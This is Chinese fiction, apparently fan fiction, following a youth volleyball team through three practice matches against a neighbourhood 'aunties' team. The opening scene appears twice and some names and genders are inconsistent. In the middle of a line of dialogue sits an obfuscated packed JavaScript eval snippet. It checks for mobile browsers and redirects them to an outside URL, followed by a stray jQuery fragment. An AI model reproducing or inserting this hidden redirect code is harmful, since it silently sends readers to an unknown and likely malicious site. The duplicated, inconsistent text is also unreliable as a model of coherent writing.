体育馆的暖气还没完全热透,但场边已经挤满了人——不是来看少年少女队比赛的观众,而是“幸福社区居委会排球大妈队”的替补队员,她们穿着统一的红色运动服,上面印着歪歪扭扭的“快乐排球”四个字,手里拎着保温桶,里面装着刚煮好的红枣茶,一边嗑瓜子一边唠嗑,声音比场内的球声还热闹。
“哎哟,松版你颠球轻点,别把球皮磨破了,人家小孩队的球看着就没几个新的!”
“吉良你放心,我心里有数!等会儿打比赛,别扣太狠,免得把小朋友吓着!”
“就是就是,咱们主要是来陪练的,不是来欺负小孩的!”
大妈们的调侃声飘过来时,日向正攥着排球蹦来蹦去,橘色头发上还沾着根早上没梳掉的头绳,他凑到岩泉身边,小声问:“岩泉哥,大妈们看着好轻松啊,她们真的是居委会的吗?怎么颠球都不落地啊?”
岩泉没说话,只是皱着眉盯着大妈队的热身——带头的吉良大妈正和佐助大妈练传接,排球在两人手里像粘了胶水,传了二十多下都没歪过一次,连脚步移动都透着稳。他低头掂了掂手里的排球,指节泛白,上次砸网的糗事还没忘,这次面对看起来“不厉害”的大妈队,反而更紧张了。
“都站好!”元堂有人踩着快瘪的排球走过来,手里的白板被风吹得晃了晃,上面画的战术图歪歪扭扭,“等会儿赤苇传快球给岩泉,日向跑边线上的位,铃谷风盯着对面主攻,清水补扣,银海守后排!大妈队看着轻松,你们别掉以轻心!”
“教练,她们好像没那么厉害吧?”田中挠了挠头,指着正在喝红枣茶的大妈们,“你看松版阿姨还在剥橘子呢……”
话还没说完,吉良大妈就举着橘子走过来,笑着递了一个给田中:“小伙子别小瞧我们啊,我们居委会队练了三年了,每周都聚着打,虽说比不过专业队,但对付你们这些新手,还是有点底气的。”她说话时语气亲切,手里却没停,随手接过旁边大妈传过来的排球,颠了三下又传回去,动作行云流水。
赤苇赶紧接过橘子,笑着说:“谢谢王阿姨,我们确实没怎么打过比赛,等会儿要是打得不好,您别笑话我们。”
“笑话啥呀!”佐助大妈凑过来,拍了拍铃谷风的肩膀,“小伙子头发真好看,等会儿拦网别紧张,阿姨们尽量把球传慢点,让你好接。”
铃谷风的耳尖瞬间红了,攥着网绳的手更紧了,小声说:“谢、谢谢阿姨……”
比赛开始的哨声一响,吉良大妈站在发球线,手里的排球转了两圈,笑着喊:“我发球啦,小伙子小姑娘看清楚!”球一出手,又快又低,擦着地面飞向日向——日向慌得跳起来,伸手去接,结果球擦着指尖飞了过去,落在界内。
“得分!”大妈队的替补们立刻欢呼起来,李大妈还喊:“日向小姑娘别急,下次早点蹲下来,球贴地飞,得用手腕垫!”
日向的脸瞬间红了,蹲在地上捡球,小声说:“知道了阿姨……”岩泉走过来,拍了拍他的后背:“没事,下次我帮你盯着发球,你先退半步,看清楚再接。”
轮到赤苇发球,他深吸一口气,把球抛起来,刚想传快球,手一抖,球发偏了,直接飞出界。佐助大妈笑着喊:“小伙子别慌!发球时眼睛盯着对面的空位,别光想着快!”
元堂教练急得跳脚,踩着排球喊:“赤苇你看空位!看大妈们站的位置!别瞎发啊!”
赤苇攥着球,耳尖红了,小声说:“对不起教练,我下次注意……”
接下来的比赛,简直成了大妈队的“教学现场”。岩泉好不容易接到球,想扣球,结果没看线,球直接飞出界,王大妈喊:“小伙子力气大是好事,就是扣之前看一眼边线,不然白费劲!”;铃谷风拦网时,盯着大妈的手看,结果大妈虚晃一下,打了个吊球,铃谷风没反应过来,球落在她脚边,李大妈说:“小伙子反应挺快,就是得看阿姨的肩膀,肩膀往哪转,球就往哪飞,别光看手!”;清水想补扣,结果赤苇传的球快了半拍,他没跳起来,球砸在他怀里,张大妈笑着说:“小帅哥别急,跳之前先屈膝,等球到胸口再跳,不然跟不上!”
才十分钟,记分牌就跳到了“0:10”。日向跑得上气不接下气,橘色头发湿成一绺,他扶着膝盖喘着说:“大妈们……怎么这么厉害啊……我都没接住几个球……”
“不是她们厉害,是我们太菜了!”元堂教练急得拍白板,上面的战术图都被拍皱了,“清水你别躲!球飞过来伸手接啊!铃谷风你起跳快点!银海你守后排别发呆!”
银海靠在墙边,擦了擦额头的汗,糙声说:“她们的球太刁了,一会儿贴地,一会儿吊网,我反应不过来……”
暂停时,大妈们还递过来红枣茶,王大妈笑着说:“孩子们歇会儿,喝口茶补补体力,别着急,比赛嘛,开心最重要。”
清水捧着热乎的红枣茶,小声问赤苇:“赤苇同学,我们是不是真的很差啊……连大妈队都打不过……”
赤苇喝了口茶,翻开笔记本,笔尖在纸上飞快写着:“大妈队优势:传接稳、战术活(会吊球、假动作)、脚步快;我们劣势:反应慢、发球不准、拦网漏球、扣球出界”,他抬头对清水说:“不是差,是我们没练过应对这些战术,你看王阿姨发球,每次都看我们的空位,我们却没注意看她们的站位,下次我们得盯着她们的动作。”
岩泉也点头,攥着球说:“我扣球时太急了,没看线,下次得慢半拍,先找好位置再扣。”
重新上场后,好不容易得了一分——赤苇传慢球给清水,清水盯着球,屈膝、起跳、挥臂,球擦着大妈的拦网手飞了过去,落在界内!
“得分啦!”日向蹦起来喊,橘色头发晃得人眼晕,“清水你好厉害!”
大妈们也鼓掌,王大妈笑着说:“小帅哥终于找到感觉了!不错不错,再练练就更好了!”
可没等他们高兴多久,王大妈就发了个快球,银海没接住,球砸在地上,记分牌又跳了一下:“1:11”。元堂教练叹口气,蹲在地上,拍了拍队员们的肩膀:“没事,能得一分就不错了,咱们第一次打,输了正常。”
比赛结束时,记分牌定格在“25:3”。大妈们围过来,递上水果和点心,王大妈说:“孩子们打得挺好,就是缺经验,下次我们再约,阿姨们教你们怎么看假动作,怎么接贴地球。”
李大妈也说:“日向小伙子跑得真快,下次练反应速度,阿姨给你当陪练;铃谷风小伙子拦网有潜力,就是起跳慢了点,多练练就好。”
队员们捧着水果,都有点不好意思。日向挠了挠头说:“谢谢阿姨们,下次我们肯定能打得更好!”
清水小声说:“我今天扣中了一个球,下次想扣中两个……”
铃谷风也点头:“我下次要拦住一个球,不让球漏过去……”
赤苇翻开笔记本,在最后一页写下“第一场练习赛对手:幸福社区居委会大妈队,比分25:3,差距总结:1.传接稳定性不足;2.战术应对能力弱(不会识别假动作、吊球);3.发球/扣球准头差;4.反应速度慢”,旁边画了个小小的排球,下面添了一行字——“下次约大妈队再打,争取得5分”。
岩泉看着那行字,伸手拍了拍赤苇的后背,两人对视一眼,都笑了——虽然输得惨,但至少知道了差距在哪,慢慢来,总会进步的。元堂教练也没像平时那样罚跑圈,反而说:“走!今天我请大家吃草莓面包,明天开始加练反应速度和战术!”
夕阳透过体育馆的窗户照进来,少年少女们捧着水果,跟着元堂教练往外走,身后还传来大妈们的喊声:“下次记得约啊!我们带新煮的银耳汤!”
体育馆的暖气还没完全热透,但场边已经挤满了人——不是来看少年少女队比赛的观众,而是“幸福社区居委会排球大妈队”的替补队员,她们穿着统一的红色运动服,上面印着歪歪扭扭的“快乐排球”四个字,手里拎着保温桶,里面装着刚煮好的红枣茶,一边嗑瓜子一边唠嗑,声音比场内的球声还热闹。
“哎哟,松版你颠球轻点,别把球皮磨破了,人家小孩队的球看着就没几个新的!”
“吉良你放心,我心里有数!等会儿打比赛,别扣太狠,免得把小朋友吓着!”
“就是就是,咱们主要是来陪练的,不是来欺负小孩的!”
大妈们的调侃声飘过来时,日向正攥着排球蹦来蹦去,橘色头发上还沾着根早上没梳掉的头绳,他凑到岩泉身边,小声问:“岩泉哥,大妈们看着好轻松啊,她们真的是居委会的吗?怎么颠球都不落地啊?”
岩泉没说话,只是皱着眉盯着大妈队的热身——带头的吉良大妈正和佐助大妈练传接,排球在两人手里像粘了胶水,传了二十多下都没歪过一次,连脚步移动都透着稳。他低头掂了掂手里的排球,指节泛白,上次砸网的糗事还没忘,这次面对看起来“不厉害”的大妈队,反而更紧张了。
“都站好!”元堂有人踩着快瘪的排球走过来,手里的白板被风吹得晃了晃,上面画的战术图歪歪扭扭,“等会儿赤苇传快球给岩泉,日向跑边线上的位,铃谷风盯着对面主攻,清水补扣,银海守后排!大妈队看着轻松,你们别掉以轻心!”
“教练,她们好像没那么厉害吧?”田中挠了挠头,指着正在喝红枣茶的大妈们,“你看松版阿姨还在剥橘子呢……”
话还没说完,吉良大妈就举着橘子走过来,笑着递了一个给田中:“小伙子别小瞧我们啊,我们居委会队练了三年了,每周都聚着打,虽说比不过专业队,但对付你们这些新手,还是有点底气的。”她说话时语气亲切,手里却没停,随手接过旁边大妈传过来的排球,颠了三下又传回去,动作行云流水。
赤苇赶紧接过橘子,笑着说:“谢谢王阿姨,我们确实没怎么打过比赛,等会儿要是打得不好,您别笑话我们。”
“笑话啥呀!”佐助大妈凑过来,拍了拍铃谷风的肩膀,“小伙子头发真好看,等会儿拦网别紧张,阿姨们尽量把球传慢点,让你好接。”
铃谷风的耳尖瞬间红了,攥着网绳的手更紧了,小声说:“谢、谢谢阿姨……”
比赛开始的哨声一响,吉良大妈站在发球线,手里的排球转了两圈,笑着喊:“我发球啦,小伙子小姑娘看清楚!”球一出手,又快又低,擦着地面飞向日向——日向慌得跳起来,伸手去接,结果球擦着指尖飞了过去,落在界内。
“得分!”大妈队的替补们立刻欢呼起来,李大妈还喊:“日向小姑娘别急,下次早点蹲下来,球贴地飞,得用手腕垫!”
日向的脸瞬间红了,蹲在地上捡球,小声说:“知道了阿姨……”岩泉走过来,拍了拍他的后背:“没事,下次我帮你盯着发球,你先退半步,看清楚再接。”
轮到赤苇发球,他深吸一口气,把球抛起来,刚想传快球,手一抖,球发偏了,直接飞出界。佐助大妈笑着喊:“小伙子别慌!发球时眼睛盯着对面的空位,别光想着快!”
元堂教练急得跳脚,踩着排球喊:“赤苇你看空位!看大妈们站的位置!别瞎发啊!”
赤苇攥着球,耳尖红了,小声说:“对不起教练,我下次注意……”
接下来的比赛,简直成了大妈队的“教学现场”。岩泉好不容易接到球,想扣球,结果没看线,球直接飞出界,王大妈喊:“小伙子力气大是好事,就是扣之前看一眼边线,不然白费劲!”;铃谷风拦网时,盯着大妈的手看,结果大妈虚晃一下,打了个吊球,铃谷风没反应过来,球落在她脚边,李大妈说:“小伙子反应挺快,就是得看阿姨的肩膀,肩膀往哪转,球就往哪飞,别光看手!”;清水想补扣,结果赤苇传的球快了半拍,他没跳起来,球砸在他怀里,张大妈笑着说:“小帅哥别急,跳之前先屈膝,等球到胸口再跳,不然跟不上!”
才十分钟,记分牌就跳到了“0:10”。日向跑得上气不接下气,橘色头发湿成一绺,他扶着膝盖喘着说:“大妈们……怎么这么厉害啊……我都没接住几个球……”
“不是她们厉害,是我们太菜了!”元堂教练急得拍白板,上面的战术图都被拍皱了,“清水你别躲!球飞过来伸手接啊!铃谷风你起跳快点!银海你守后排别发呆!”
银海靠在墙边,擦了擦额头的汗,糙声说:“她们的球太刁了,一会儿贴地,一会儿吊网,我反应不过来……”
暂停时,大妈们还递过来红枣茶,王大妈笑着说:“孩子们歇会儿,喝口茶补补体力,别着急,比赛嘛,开心最重要。”
清水捧着热乎的红枣茶,小声问赤苇:“赤苇同学,我们是不是真的很差啊……连大妈队都打不过……”
赤苇喝了口茶,翻开笔记本,笔尖在纸上飞快写着:“大妈队优势:传接稳、战术活(会吊球、假动作)、脚步快;我们劣势:反应慢、发球不准、拦网漏球、扣球出界”,他抬头对清水说:“不是差,是我们没练过应对这些战术,你看王阿姨发球,每次都看我们的空位,我们却没注意看她们的站位,下次我们得盯着她们的动作。”
岩泉也点头,攥着球说:“我扣球时太急了,没看线,下次得慢半拍,先找好位置再扣。”
重新上场后,好不容易得了一分——赤苇传慢球给清水,清水盯着球,屈膝、起跳、挥臂,球擦着大妈的拦网手飞了过去,落在界内!
“得分啦!”日向蹦起来喊,橘色头发晃得人眼晕,“清水你好厉害!”
大妈们也鼓掌,王大妈笑着说:“小帅哥终于找到感觉了!不错不错,再练练就更好了!”
可没等他们高兴多久,王大妈就发了个快球,银海没接住,球砸在地上,记分牌又跳了一下:“1:11”。元堂教练叹口气,蹲在地上,拍了拍队员们的肩膀:“没事,能得一分就不错了,咱们第一次打,输了正常。”
比赛结束时,记分牌定格在“25:3”。大妈们围过来,递上水果和点心,王大妈说:“孩子们打得挺好,就是缺经验,下次我们再约,阿姨们教你们怎么看假动作,怎么接贴地球。”
李大妈也说:“日向小伙子跑得真快,下次练反应速度,阿姨给你当陪练;铃谷风小伙子拦网有潜力,就是起跳慢了点,多练练就好。”
队员们捧着水果,都有点不好意思。日向挠了挠头说:“谢谢阿姨们,下次我们肯定能打得更好!”
清水小声说:“我今天扣中了一个球,下次想扣中两个……”
铃谷风也点头:“我下次要拦住一个球,不让球漏过去……”
赤苇翻开笔记本,在最后一页写下“第一场练习赛对手:幸福社区居委会大妈队,比分25:3,差距总结:1.传接稳定性不足;2.战术应对能力弱(不会识别假动作、吊球);3.发球/扣球准头差;4.反应速度慢”,旁边画了个小小的排球,下面添了一行字——“下次约大妈队再打,争取得5分”。
岩泉看着那行字,伸手拍了拍赤苇的后背,两人对视一眼,都笑了——虽然输得惨,但至少知道了差距在哪,慢慢来,总会进步的。元堂教练也没像平时那样罚跑圈,反而说:“走!今天我请大家吃草莓面包,明天开始加练反应速度和战术!”
夕阳透过体育馆的窗户照进来,少年少女们捧着水果,跟着元堂教练往外走,身后还传来大妈们的喊声:“下次记得约啊!我们带新煮的银耳汤!”
少年队的进阶:从惨败到追分的小突破
第二天清晨的体育馆,暖气还没开,少年队的队员们却比平时早到了半小时。日向蹲在地上,正用抹布擦着昨天被排球砸出浅痕的地板,橘色头发上别着根橡皮筋——是昨天吉良大妈送的,说“跑起来别让头发挡眼睛”。岩泉则在网前调整高度,手里捏着赤苇画的“拦网高度对照表”,每调一厘米,就喊铃谷风过来试跳。
“再跳一次,这次盯着我的手。”岩泉举起手,比出“扣球”的姿势,肩膀却悄悄往左侧转了半寸——这是昨天佐助大妈教的“假动作小技巧”。铃谷风深吸一口气,浅蓝头发晃了晃,这次没盯着岩泉的手,反而盯着他的肩膀,见肩膀左转,立刻往左侧挪了半步,起跳时胳膊稳稳挡住了“球路”。
“成了!”田中在旁边拍着手喊,手里还拿着个笔记本,上面抄着赤苇总结的“假动作识别要点”,“风仔你刚才反应好快!比昨天拦大妈队时强多了!”
铃谷风的耳尖红了,却没像之前那样躲着,反而小声说:“是岩泉同学教得好,还有……昨天佐助大妈说看肩膀,真的有用。”
赤苇这时抱着一摞排球走过来,笔记本夹在胳膊下,上面贴着张新便签:“今日训练计划:1.传接练习(每组30次不落地);2.假动作识别(岩泉/田中模仿大妈队动作);3.发球精准度(瞄准场地标记点);4.补扣配合(赤苇/清水慢节奏传接)。”他把排球放在地上,对大家说:“昨天大妈队说我们传接不稳,今天我们先练‘三人传接’,一人发球,两人传接,掉一次就从头来,直到连续30次不掉。”
“30次?!”日向蹦起来,手里的抹布差点掉地上,“昨天我们最多只传了10次就掉了……”
“所以才要练啊。”元堂有人踩着快瘪的排球走过来,手里拎着个保温桶——是昨天王大妈送的红枣茶,还热着,“我早上问过王大妈,她们练传接时,一开始也掉,后来练到每组50次才停,咱们先从30次开始,慢慢来。”
银海靠在墙边,嚼着口香糖,却没像平时那样偷懒,反而先拿起个排球,掂了掂:“行,我先来发球,你们俩传接。”他说着,把球抛起来,这次没像之前那样用蛮力,而是轻轻发力,球慢悠悠飞向赤苇——赤苇稳稳接住,转手传给日向,日向蹲低身子,手腕一垫,球又飞回赤苇手里。
“好球!”田中在旁边喊,“日向你刚才蹲得好,球没飞歪!”
日向咧嘴笑了,却没分心,眼睛盯着球:“昨天李大妈说接贴地球要蹲低,我记住啦!”
可传到第12次时,日向没接住,球砸在地上。他吐了吐舌头,捡起球:“对不起,我刚才没盯住……再来!”
赤苇拍了拍他的肩膀:“没事,这次我们慢一点,我传的时候喊‘准备’,你听到再伸手。”
第二次传接,赤苇每次传球前都喊“准备”,日向果然没再掉球,直到第30次时,他稳稳把球传给银海,银海伸手接住,难得笑了笑:“成了,没掉。”
元堂教练赶紧打开保温桶,倒了杯红枣茶递给日向:“不错不错!比昨天强多了,喝口茶歇会儿,接下来练假动作识别。”
假动作识别练习时,岩泉站在网前,一会儿抬手假装扣直线,肩膀却往斜线转;一会儿又故意把手晃向斜线,肩膀却保持直线。铃谷风和清水站在对面拦网,一开始总判断错,铃谷风还差点被“假动作”晃得摔了跤,可练到第10次时,清水突然喊:“岩泉同学要扣斜线!他肩膀往那边转了!”
铃谷风立刻往斜线挪步,果然,岩泉的“球路”正好对着那边。赤苇赶紧在笔记本上画了个对勾:“清水进步了!能快速判断肩膀方向了!”
清水攥着球,耳尖红了,却小声说:“是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379558|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚才练的时候,田中同学模仿吉良大妈的动作,我看熟了……”
田中挠了挠头,笑着说:“我就是学吉良大妈那样,手晃来晃去,其实肩膀不动,没想到真能帮到你!”
到了发球练习,赤苇在场地里贴了几个彩色标记点:“我们瞄准这些点发球,发到点上就算过,没发到就罚跑半圈。”他先示范,把球抛起来,轻轻发力,球正好落在靠近边线的标记点上。
“哇!赤苇同学好准!”日向凑过去看,“我也试试!”他学着赤苇的样子,抛球、发力,球虽然没正好落在标记点上,却没像昨天那样飞出界。元堂教练拍了拍手:“不错!至少没出界,比昨天强多了!”
最让人惊喜的是清水的补扣练习。赤苇传慢球时,会提前喊“屈膝”“起跳”,清水一开始还会慌,可练到第5次时,他能自己找节奏了——赤苇的球刚飞过来,他就屈膝、起跳,挥臂时手腕也不晃了,球“砰”地砸在地上,正好落在场地中间。
“中了!”岩泉难得开口夸人,“比昨天扣中的那次还稳。”
清水笑着点头,额头上的汗滴在球皮上,却没擦——他终于不再害怕补扣了,甚至觉得有点开心。
就这样练了一周,元堂教练又约了大妈队打练习赛。这次,体育馆的场边不仅有大妈队的替补,还多了几个来看热闹的同学。
比赛开始前,吉良大妈笑着走过来,递了袋橘子给赤苇:“孩子们这几天练得辛苦吧?看你们早上来得比我们还早呢。”
赤苇接过橘子,笑着说:“谢谢吉良大妈,我们练了传接和假动作,今天想试试能不能多得分。”
哨声一响,银海先发球——这次他没再用蛮力,而是瞄准边线标记点,球擦着边线飞过去,大妈队的接球手没接住,球落在界内!
“得分!”日向第一个喊出来,橘色头发晃得人眼晕,“银海你好厉害!第一次发球就得分了!”
银海撇撇嘴,却没反驳,只是小声说:“练了一周,再发不好就太丢人了。”
接下来的比赛,少年队明显不一样了:赤苇传二传时,会根据队友节奏调整速度,给日向传快球,给清水传慢球;铃谷风拦网时,盯着大妈的肩膀,再也没被假动作晃过,还成功拦下来一次;清水补扣时,连续扣中了两个球;日向接贴地球时,蹲得又快又稳,没再掉过。
虽然最后还是输了,比分却从“25:3”变成了“25:12”——比上次多得了9分!
比赛结束后,王大妈拍着元堂教练的肩膀,笑着说:“你这队进步真快!再练几周,说不定能赢我们呢!”
李大妈也凑过来,对铃谷风说:“小伙子拦网进步好大!刚才那下拦得真准,阿姨都没反应过来!”
日向捧着红枣茶,笑得合不拢嘴:“下次我们要得20分!说不定还能赢!”
清水小声说:“我下次想扣中三个球……”
赤苇翻开笔记本,在“第二次练习赛”下面写下:“比分25:12,进步点:1.传接连续25次不掉;2.假动作识别准确率80%;3.发球得分3次;4.补扣得分4次;5.拦网得分1次。下次目标:得分20+,尝试拦网得分2次。”旁边画了个比上次更大的排球,还添了个小小的笑脸。
少年队的进阶:离赢更近一步
距离上次25:12的比赛又过了两周,体育馆的暖气终于稳定下来,少年队的训练节奏也越来越顺。每天清晨,最先到的总是岩泉和赤苇——岩泉会提前把所有排球的气压调到一致,赤苇则会在场地边缘贴上新的战术小卡片,上面用彩色笔写着“双人拦网口诀:铃谷左、田中右,肩膀同步起”“清水扣球点:边线30厘米处,手腕发力”,连日向总记混的跑位路线,都画成了卡通小人图,贴在他能看见的网柱上。
“日向!你跑位又偏了!看网柱上的小人,该往边线靠半步!”赤苇拿着笔记本,站在场地边喊。日向正喘着气,橘色头发上的汗滴落在战术卡片上,他赶紧凑过去看,挠了挠头:“哎呀,又忘了!赤苇你这小人画得太可爱了,我下次肯定记着!”
旁边的铃谷风和田中正在练双人拦网。田中比铃谷风高半头,每次起跳前都会小声喊“1、2、起”,帮铃谷风找节奏。之前两人总错开起跳时间,这次田中喊到“起”时,铃谷风刚好同步跳起,胳膊伸直的瞬间,岩泉扔过来的排球正好被两人拦在网前,“砰”地落在地上。
“成了!”田中兴奋地拍了拍铃谷风的肩膀,“咱们这次没错开!下次比赛肯定能拦更多!”铃谷风的耳尖红了,却笑着点头:“嗯!上次吉良大妈说,双人拦网要喊口号找节奏,真的有用。”
清水则在练扣球的腕力——赤苇找了个小沙袋,让他绑在手腕上练挥臂。一开始清水挥几下就手酸,银海看不过去,扔给他一个弹力带:“先练这个,循序渐进,别一下子用太沉的。”他虽然话糙,却会在清水练累时,默默递上一瓶温水,偶尔还会示范一次挥臂:“手腕别甩太开,像这样收一点,扣球更准。”
这天训练结束,元堂教练拿着手机跑过来,脸上难得带笑:“大妈队约我们周末再打!王大妈说,这次要跟我们‘认真打’,不手下留情了!”
“真的?!”日向蹦起来,兜里的战术小卡片掉了出来,“那我们这次能得20分吗?”
赤苇翻开笔记本,上面记着最近的训练数据:“双人拦网成功率60%,清水扣球得分率70%,发球得分率40%,要是保持这个状态,20分没问题,说不定还能赢一局!”
周末比赛那天,体育馆里多了不少观众——有同学,还有几个社区的大爷,拿着小板凳坐在场边,手里还举着“少年队加油”的小牌子,是赤苇前一天带着大家做的。
大妈队这次换了套新的红色运动服,上面印着“快乐排球,友谊第一”,吉良大妈手里拎着个新的保温桶,笑着说:“今天给你们带了银耳莲子汤,比红枣茶更补体力!不过比赛可不会让着你们啦!”
哨声一响,日向第一个冲到场边,这次他没再慌,盯着吉良大妈的发球动作,见球贴地飞来,立刻蹲低身子,手腕稳稳垫起,球正好传给赤苇。赤苇转手给岩泉传了个快球,岩泉起跳、挥臂,球擦着大妈队的拦网手飞过去,落在界内!
“得分!”观众席上的同学立刻欢呼起来,日向蹦得更高了:“岩泉哥好厉害!第一球就得分!”
大妈队也不慌,佐助大妈发球时故意做了个假动作,手晃向左边,肩膀却往右边转。铃谷风这次没被骗,立刻往右边挪步,和田中同步起跳,双人拦网成功,把球拦了回去!
“好球!”王大妈笑着鼓掌,“这双人拦网比上次稳多了!小伙子们进步真快!”
比赛到中段,比分咬得很紧——15:12,少年队只落后3分。这时清水接到赤苇的慢球,他深吸一口气,手腕发力,球扣向对面场地的斜线死角,大妈队的自由人没来得及扑,球落在界内!
“清水得分!”田中喊着冲过去拍了拍他的肩膀,“你刚才那下扣得太狠了!比上次还准!”清水的耳尖红了,却没躲,反而小声说:“是银海同学教我收手腕,才扣中的……”
银海靠在墙边,嚼着口香糖,嘴角悄悄翘了翘,没说话,只是把滚到脚边的排球踢给清水。
最关键的一局到20:18时,日向突然救了个几乎落地的球——球擦着地面飞过来,他扑在地上,用胳膊把球垫起来,正好传给赤苇。赤苇没犹豫,立刻给岩泉传了个快球,岩泉起跳扣球,得分!20:19!
观众席的欢呼声更大了,王大妈也站起来喊:“孩子们加油!再得一分就追平啦!”
可这时,铃谷风拦网时不小心崴了脚,疼得蹲在地上。田中赶紧扶着他,银海也跑过来,从包里掏出云南白药喷雾:“喷一点,别肿了。”吉良大妈也走过来,蹲下来帮他揉脚踝:“小伙子别慌,慢慢动,不严重。”
暂停时,铃谷风小声说:“对不起,我影响比赛了……”
岩泉拍了拍他的肩膀:“没事,你已经拦得很好了,接下来我帮你补位。”赤苇也递过一张战术卡:“我们调整下,田中去拦网,我来补他的位置,肯定能行。”
重新上场后,少年队虽然没能追平,最后以25:21结束比赛,但比上次又近了4分。比赛结束时,铃谷风的脚踝已经不疼了,他扶着网子,笑着说:“下次我们肯定能赢一局!”
大妈队围过来,王大妈打开保温桶,给每个人盛了碗银耳莲子汤:“这次打得太精彩了!25:21,再练两周,说不定能赢我们呢!”吉良大妈还递给赤苇一张纸条:“这是我们队的战术笔记,你们拿去看看,下次咱们再好好打一场!”
赤苇接过纸条,笑着说:“谢谢吉良大妈!我们肯定好好看!”
日向捧着汤碗,笑得合不拢嘴:“下次我们要得25分!赢一局!”
清水小声说:“我下次想扣中五个球……”
赤苇翻开笔记本,在“第三次练习赛”下面写下:“比分25:21,进步点:1.双人拦网得分2次;2.扣球死角得分3次;3.救球成功率提升至70%;4.团队补位更默契。下次目标:赢一局(25:23以内),拦网得分3次。”旁边画了个比之前更大的笑脸,还添了个小小的奖杯图案。
岩泉看着那行字,伸手拍了拍赤苇的后背,夕阳透过窗户照在两人身上,暖融融的。少年们捧着热乎的银耳汤,你一言我一语地聊着下次训练的计划,体育馆里的笑声,比暖气更让人觉得温暖——他们知道,离赢的那天,越来越近了。